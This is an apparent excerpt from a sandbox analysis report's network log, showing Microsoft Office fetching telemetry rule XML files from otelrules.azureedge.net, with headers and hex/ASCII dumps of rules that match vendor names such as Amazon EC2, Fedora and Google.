2024-12-07 17:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:37 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172637Z-r1cf579d778qlpkrhC1EWRpfc800000003s0000000000f9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172637Z-r1cf579d77867vg8hC1EWR8knc00000002wg000000001vk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172637Z-r1cf579d778dfdgnhC1EWRd3w000000002sg00000000513z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:37 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172637Z-r1cf579d7789trgthC1EWRkkfc00000003m0000000006q4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:37 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172638Z-r1cf579d778x776bhC1EWRdk80000000030g0000000032pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:38 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172639Z-r1cf579d778t6txphC1EWRsd4400000003h0000000001f3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172639Z-r1cf579d778t5c2lhC1EWRce3w00000003k0000000007wre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172640Z-r1cf579d778xq4f9hC1EWRx41g00000002u0000000004gt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172640Z-r1cf579d778g2t6ghC1EWRfggs00000002d0000000003xp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172640Z-r1cf579d7784wpmvhC1EWRk4cn00000002hg0000000003db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172641Z-r1cf579d778z4wflhC1EWRa3h0000000032g000000002auc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172641Z-r1cf579d778dfdgnhC1EWRd3w000000002rg000000006zwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
